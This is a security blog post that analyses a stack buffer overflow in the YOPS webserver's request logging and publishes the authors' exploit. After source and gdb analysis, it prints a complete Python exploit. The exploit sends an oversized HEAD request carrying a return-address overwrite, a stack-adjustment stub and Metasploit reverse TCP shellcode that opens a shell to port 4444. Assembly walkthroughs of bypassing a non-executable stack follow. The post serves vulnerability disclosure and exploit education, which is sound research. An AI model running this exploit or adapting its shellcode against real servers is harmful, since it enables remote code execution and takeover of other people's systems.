YOPS Webserver Stack Buffer Overflow   1 comment

  • Post Info:
    1. # Author: Flavio do Carmo Junior aka waKKu
      # URL: Author’s Webpage
      # Date: February 16, 2011
      # Category: Exploiting, Programming, Security, Vulnerability Analysis

    Welcome back, goodfella ;)

    This is another post in “Vulnerability Analysis” category, but at this time, this is one of our (DcLabs) 0-days.

    1. Introduction
    YOPS is a really simple webserver we’ve found an Arbitrary (Remote) Code Execution and released an advisory and exploit last year.

    2. Triggering the bug
    One of DcLabs members, ipax, using a fuzzer noticed that when sending a big buffer and using the “HEAD” HTTP Method the software crashed with a segfault signal.

    He then asked me to take a look and, some time later, here we are ;). Ok, first thing to do is download a copy of the software and (God bless open source) compile it with debugging symbols, then running our “trigger” again, we were able to identify the crash:

    # --- gdb output ---
    MANAGER: 1 jobs in ACCEPTOR->PARSER queue
    errorer #1 has job (status = 400) (.errors/400.html)
    
    Program received signal SIGSEGV, Segmentation fault.
    [Switching to Thread 1208023360 (LWP 14222)]
    logger_th (arg=Cannot access memory at address 0xa30300c
    ) at main.c:383
    383                     printf("logger #%d: '%s' LOGGED [%d]\n", id, job->hdr.request_line, job->status);
    # --- gdb output ---
    

    The flaw happened at function logger_th(), something overwrote its argument address, as seen in (logger_th (arg=Cannot access memory at address 0xa30300c)) gdb message.

    3. Hunting down a vulnerability

    We already know where it happens, now I need to find why.

    # --- main.c ---
    void* logger_th(void* arg)
    {
            STAGE_PIPES* q = (STAGE_PIPES*)arg;
            int id = q->workerid;
            int someone = q->in;
            int log = q->out;
            JOB *job;
    
            for (;;) {
                    job = swebs_get_job_from(someone);
                    CHECK_AND_EXIT(job);
                    job->logger = id;
    
                    swebs_record_log(log, job);
                    printf("logger #%d: '%s' LOGGED [%d]\n", id, job->hdr.request_line, job->status);
                    pthread_mutex_lock(&job->block);
                    zfree((void**)&job);
            };
    }
    # --- main.c ---
    

    Ok, no ringing bells in this function – all I can see here is the “arg” referenced by gdb as overwritten. So, if its function argument was overwritten it probably happened due to a most internal function and its stack frames.

    Looking at this code we can clearly see another function being called:
    “job = swebs_get_job_from(someone);”
    Let’s dig into it then:

    # --- swebs.c ---
    int swebs_record_log(int log, JOB *job)
    {
            int err;
            time_t now;
            char timestr[32];
            char logrec[MAX_REQUEST_LINE_LEN + 1];
    
            memset(logrec, 0, sizeof(logrec));
            flock(log, LOCK_EX);
            time(&now);
            ctime_r(&now, timestr);
            timestr[strlen(timestr)-1] = '\0';
    
            sprintf (
                    logrec,
                    "%s\t[%s]\t\"%s\"\t(%d+%d/%d)\t%d",
                    job->client,
                    timestr,
                    job->hdr.request_line,
                    job->response_hlen,
                    job->response_blen_sent,
                    job->response_blen,
                    job->status
                    );
    
            if (strlen(job->reason_500)) {
                    strcat(logrec, " [");
                    strcat(logrec, job->reason_500);
                    strcat(logrec, "]");
            }
            strcat(logrec, "\n");
            err = write(log, logrec, strlen(logrec));
            flock(log, LOCK_UN);
            return 0;
    }
    # --- swebs.c ---
    

    Now I can hear the bells ;)! We’ve a couple of static stack buffers and a non-boundary check aware function (snprintf()) being used on one of them.
    First bet: logrec[] isn’t bigger enough to receive the contents supplied by sprintf().

    4. Source-Code Diving
    Now we’ve two paths: 1) Start from here and up to socket reading – 2) Look for socket reading and follow the HEAD’s method flow.

    I choose the second one.

    It was pretty easy to find our swebs_read_http_request function:

    # --- swebs.c ---
    int swebs_read_http_request(JOB *job, SWEBS_CONFIG *cfg)
    {
            int r;
    
            r = http_recv_header(job->sock, job->hdr.buf, MAX_HDR_LEN, cfg->recv_timeo);
            if (!r)
                    return r;
    
            if ( r < 0 ) {
                    job->status = -r;
                    if (job->status == 500)
                            strcpy(job->reason_500, "poll");
                    return 0;
            };
            return r;
    }
    # --- swebs.c ---
    

    Then it sends us to another function: http_recv_header:

    # --- http.c ---
    int http_recv_header(int sock, char *buf, int max, int timeo_sec)
    {
            int bread;
            int hdrlen = 0;
            char *b = buf;
            int ret = 0;
            int r;
    
            struct pollfd waitfor;
            int timeout = timeo_sec*1000; /* ms */
            time_t start;
    
            waitfor.fd = sock;
            waitfor.events = POLLIN | POLLERR | POLLHUP;
    
            // set nonblocking mode ?
            start = time(NULL);
            do {
                    if (hdrlen == max) {
                            ret = -413;
                            break;
                    };
                    if ((time(NULL) - start) > (timeout/1000)+1) {
                            ret = -408;
                            break;
                    };
                    r = poll(&waitfor, 1, timeout);
                    if ( 0 == r ) { /* timeout */
                            ret = -408;
                            break;
                    };
                    if ( -1 == r ) {
                            // ret = -500;
                            // break;
                            perror("poll()");
                            sleep(1);
                            continue;
                    };
                    bread = read(sock, b + hdrlen, max - hdrlen);
                    if ( (0 == bread) || (-1 == bread) ) {
                            ret = 0;
                            break;
                    };
                    hdrlen += bread;
                    /* we are not tolerant server :) */
                    if (strstr(b, "\r\n\r\n")) {
                            ret = hdrlen;
                            /* minimal length is the length
                             * of "GET / HTTP/n.n\r\n"
                             * otherwise request is invalid
                             */
                            if ( (ret < 16) || !isupper(b[0]) )
                                    ret = -400;
                            break;
                    };
            } while (1);
            // set blocking mode
    
            return ret;
    }
    # --- http.c ---
    

    So far so good, swebs_read_http_request() calls http_recv_header() and it reads MAX_HDR_LEN from socket. We can see the programmer decided to go with a poll() to handle server’s connections, all we need to know now is that there is a “trigger” in that waitfor struct calling logger_th() and then calling swebs_record_log().

    What we’re interested now is the value in MAX_HDR_LEN:

    # --- http.h ---
    #define MAX_METH_LEN 8
    
    #define MAX_FILE_LEN 256
    #define MAX_PINF_LEN 256
    #define MAX_ARGS_LEN 256
    #define MAX_URL_LEN (MAX_FILE_LEN + MAX_PINF_LEN + MAX_ARGS_LEN)
    #define MAX_HTTP_LEN 16
    
    #define MAX_REQUEST_LINE_LEN (MAX_METH_LEN + MAX_URL_LEN + MAX_HTTP_LEN)
    
    #define MAX_PARM_LEN 128
    #define MAX_TOTAL_PARM_LEN 2048
    
    #define MAX_HDR_LEN (MAX_METH_LEN + MAX_URL_LEN + MAX_TOTAL_PARM_LEN + 16)
    
    # --- http.h ---
    

    MAX_HDR_LEN == 2840 bytes. Hmmmmmmm ;)
    Back to item “2.”, take a look at our vulnerable function swebs_record_log():

    # --- swebs_record_log() ---
    int swebs_record_log(int log, JOB *job)
    {
    [...]
            char logrec[MAX_REQUEST_LINE_LEN + 1];
    [...]
            sprintf (
                    logrec,
                    "%s\t[%s]\t\"%s\"\t(%d+%d/%d)\t%d",
                    job->client,
                    timestr,
                    job->hdr.request_line,
                    job->response_hlen,
                    job->response_blen_sent,
                    job->response_blen,
                    job->status
                    );
    [...]
            return 0;
    }
    # --- swebs_record_log() ---
    

    The name “job->hdr.request_line” has a suggestive name to store our request HTTP.
    Now we can suppose:
    – Program reads 2840 bytes from socket
    – It also defines MAX_REQUEST_LINE_LEN to 800
    – Variable “logrec” should be no greater than MAX_REQUEST_LINE_LEN+1 (NULL byte?)
    – The maximum request size used on our fuzzer should be near of 800 bytes

    Time to follow the yellow brick path.
    As we’ve already stated the bug happens when we send a huge HEAD request, let’s see how it handles with HEAD:

    # --- http.c ---
    int http_bad_method(char *m)
    {
    [...]
            char *get = "GET";
            char *head = "HEAD";
            // char *post = "POST"; // hard work )
    
            if ( (strstr(m, get)) && (strlen(m) == strlen(get)) )
                    return 0;
    
            if ( (strstr(m, head)) && (strlen(m) == strlen(head)) )
                    return 0;
    
            return 1;
    }
    
    // split...
    int http_parse_request_header(char *data, struct http_request_header *h)
    {
    [...]
            s = strstr(data, "\r\n");
            // check len?
            // if ( (s-data) > MAX_ÑоÑоÑам) return -413;
    
            strncpy(h->request_line, data, s - data);
    
            /* dealing with method (leading spaces already handled) */
            h->method = tok = data;
            /* max method !!! */
            while ( !isspace(tok[0]) && ( (tok-data) < MAX_METH_LEN) )
                    tok++;
            if ((tok-data) >= MAX_METH_LEN)
                    return -400;
    
            tok[0] = 0;
            if (http_bad_method(h->method))
                    return -501;
    [...]
            r = sscanf(h->http, " HTTP/%d.%d ", &ver, &rev);
            if (r != 2)
                    return -400;
    [...]
    
            return 0;
            // return 0; //?
    }
    # --- http.c ---
    

    At http_parse_request_header() we can see some checks
    1. Copy “\r\n” position on buffer to “s”, so s == end of request
    1.1 “check len?” … :/
    2. Copy the whole http request in data until “\r\n” to h->request_line
    3. Now we’ve a while validating the method length with MAX_METH_LEN(8) bytes
    4. Then http_bad_method() validate a valid method
    5. At last, the pair sscanf()+if validates if the request is compliant (HTTP/X.Y)

    Deu to item 1., it copy all 2840 bytes (or at least until it finds “\r\n”) into variable h->request_line, that is the exactly same job->hdr.request_line into our vulnerable function.

    Recap: The flaw happens at swebs_record_log() due to a static buffer of 800+1 (MAX_REQUEST_LINE_LEN+1) bytes, that is “fed” with sprintf() and string format: "%s\t[%s]\t\"%s\"\t(%d+

    %d/%d)\t%d", its clear we aren’t alone at playground… The exact value to overwrite this buffer must be calculated among all variables in sprintf().

    5. Exploit
    I wrote this exploit and the advisory was published at bugtraq, and exploit is also available at Exploit-DB.

    Since even exploit-db mess up with our exploits indentation, I’ll post it here too.

    There was two “tricky moments” during this exploit birth, we can see it below:

    #!/usr/bin/python
    # Software:
    # YOPS (Your Own Personal [WEB] Server) is a small SEDA-like HTTP server for Linux OS written in C.
    # URL: http://sourceforge.net/projects/yops2009/
    #
    # Author: Flavio do Carmo Junior aka waKKu @ DcLabs
    # Contact: waKKu <AT> dclabs <DOT> com <DOT> br
    
    HOST = "localhost"
    PORT = 8888
    
    import socket
    import sys
    import time
    
    try:
            BUFF_LEN = int(sys.argv[1])
    except:
            BUFF_LEN = 802
    FIXUP_ADDR = "\x47\xce\x04\x08"
    
    shellcode = (
    	# MetaSploit Reverse TCP Shell. Host: 127.0.0.1 - Port: 4444
    	"\x33\xc9\xb1\x13\xbe\xae\x88\x55\xcb\xda\xcd\xd9\x74\x24\xf4"
    	"\x5f\x31\x77\x0e\x03\x77\x0e\x83\x69\x8c\xb7\x3e\x44\x56\xc0"
    	"\x22\xf5\x2b\x7c\xcf\xfb\x22\x63\xbf\x9d\xf9\xe4\x9b\x3f\x6a"
    	"\x9a\x1b\xbf\x6b\x02\x74\xae\x37\xac\xd7\xba\xd7\x61\x88\xb3"
    	"\x39\xc2\x42\xa5\xe1\x08\x12\x70\x95\x4a\xa3\xbd\x54\xec\x8d"
    	"\xb8\x9f\xbd\x65\x15\x4f\x4d\x1e\x01\xa0\xd3\xb7\xbf\x37\xf0"
    	"\x18\x6c\xc1\x16\x28\x99\x1c\x58\x43"
    )
    
    
    buffer = "HEAD "
    buffer += "A"*BUFF_LEN
    buffer += FIXUP_ADDR*4
    buffer += " HTTP/1.1"
    
    stackadjust = (
                    "\xcb" # instruction alignment
                    "\xbc\x69\x69\x96\xb0" # Stack Adjustment
    )
    
    payload = buffer + stackadjust + shellcode + "\r\n\r\n"
    
    print """
    ######################################
    ### DcLabs Security Research Group ###
    ###            +Exploit+           ###
    ######################################
    Software: YOPS 2009 - Web Server
    ---
    Vulnerability by: ipax
    Exploit by: waKKu
    Greetings to: All DcLabs members
    """
    
    print " [+] Using BUFF_LEN -> ", str(BUFF_LEN)
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print " [+] Trying to establish connection..."
    s.connect((HOST, PORT))
    print " [+] Sending a dummy request to initialize data..."
    s.send("HEAD DcLabs HTTP/1.1\r\n\r\n")
    try:
            s.recv(1024)
    except:
            pass
    s.close()
    
    time.sleep(3)
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST, PORT))
    print " [+] Sending our malicious payload..."
    s.send(payload)
    print " [+] Payload sent, good luck!"
    s.close()
    
    waKKu@blog$
    

    * First Exploit Crux *
    As stated earlier, our buffer isn’t alone into logrec[] stack space and, mandatorily (because of those checks), we need to end our buffer with: “HTTP/X.Y” string BUT there is a heap variable pointing to this point of our request, see:

    int http_parse_request_header(char *data, struct http_request_header *h)
    {
    [...]
            r = sscanf(h->http, " HTTP/%d.%d ", &ver, &rev);
    [...]
    

    Well, maybe we could use this variable address as return address and bypass NX Stack Bit:

    waKKu@0xcd80$ cat http.s
    .section .text
    .globl _start
    
    _start:
            push $0x4141cb31                 # push '1' + "cb" as instruction alignment + 2 * 0x41 as padding
            push $0x2e312f50                 # push '.1/P'
            push $0x54544820                 # push 'TTH '
            int $0x03
    waKKu@0xcd80$ as -o http.o http.s
    waKKu@0xcd80$ ld -o http http.o
    waKKu@0xcd80$ gdb --quiet ./http
    (no debugging symbols found)
    Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
    (gdb) run
    Starting program: /home/waKKu/0xcd80/http
    Failed to read a valid object file image from memory.
    
    Program received signal SIGTRAP, Trace/breakpoint trap.
    0x08048084 in ?? ()
    (gdb) x/s $esp
    0xbfaad7d4:      " HTTP/1.1ËAA\001"
    (gdb) # OK, right place
    (gdb) x/8i $esp
    0xbfaad7d4:     and    %cl,0x54(%eax)
    0xbfaad7d7:     push   %esp
    0xbfaad7d8:     push   %eax
    0xbfaad7d9:     das
    0xbfaad7da:     xor    %ebp,(%esi)
    0xbfaad7dc:     xor    %ecx,%ebx
    0xbfaad7de:     inc    %ecx
    0xbfaad7df:     inc    %ecx
    (gdb) # =]
    

    Well, using a FIXUP_ADDRESS we can probably make all these instructions possible and, if we put our shellcode right after that “xor %ecx,%ebx”, we are good to go with non-exec stack bypassed :).

    * Second Exploit Crux *
    Using our shellcode after “logrec[]” variable we’ll clearly overwrite the ESP value and make stack operations unavailable and, guess what, I choose a shellcode that needs it ;).
    Here comes the “stackadjustment” explanation:

    waKKu@0xcd80$ cat stackadjust.s
    .section .text
    .globl _start
    _start:
            push $0x414141b0
            push $0x966969bc
            int $0x03
            int $0x03
    waKKu@0xcd80$ as -o stackadjust.o stackadjust.s
    waKKu@0xcd80$ ld -o stackadjust stackadjust.o
    waKKu@0xcd80$ gdb --quiet ./stackadjust
    (no debugging symbols found)
    Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
    (gdb) run
    Starting program: /home/waKKu/0xcd80/stackadjust
    Failed to read a valid object file image from memory.
    
    Program received signal SIGTRAP, Trace/breakpoint trap.
    0x0804807f in _start ()
    (gdb) x/2x $esp
    0xbfd9b2a8:     0x966969bc      0x414141b0
    (gdb) x/3i $esp
    0xbfd9b2a8:     mov    $0xb0966969,%esp
    0xbfd9b2ad:     inc    %ecx
    0xbfd9b2ae:     inc    %ecx
    (gdb) # =]
    

    Now you say: WTF!! The guy worried about non-exec stack and used a damn arbitrary value for ESP!?!?
    — Yeah… Reliable, but not THAT reliable – this is a PoC, isn’t it? :)

    For what is worth, using that value for ESP we could execute our shellcode smoothly and proved this RCE vulnerability.

    An up-to-date and patched version can be downloaded here

    That’s all, folks!

    See you in another lif… oops, post!

    waKKu

    Advertisements

    Posted March 24, 2011 by waKKu in Exploiting, Security, Vulnerability Analysis

    One response to “YOPS Webserver Stack Buffer Overflow

    Subscribe to comments with RSS.

    1. OMG, tnx guy!

    Leave a Reply

    Fill in your details below or click an icon to log in:

    WordPress.com Logo

    You are commenting using your WordPress.com account. Log Out / Change )

    Twitter picture

    You are commenting using your Twitter account. Log Out / Change )

    Facebook photo

    You are commenting using your Facebook account. Log Out / Change )

    Google+ photo

    You are commenting using your Google+ account. Log Out / Change )

    Connecting to %s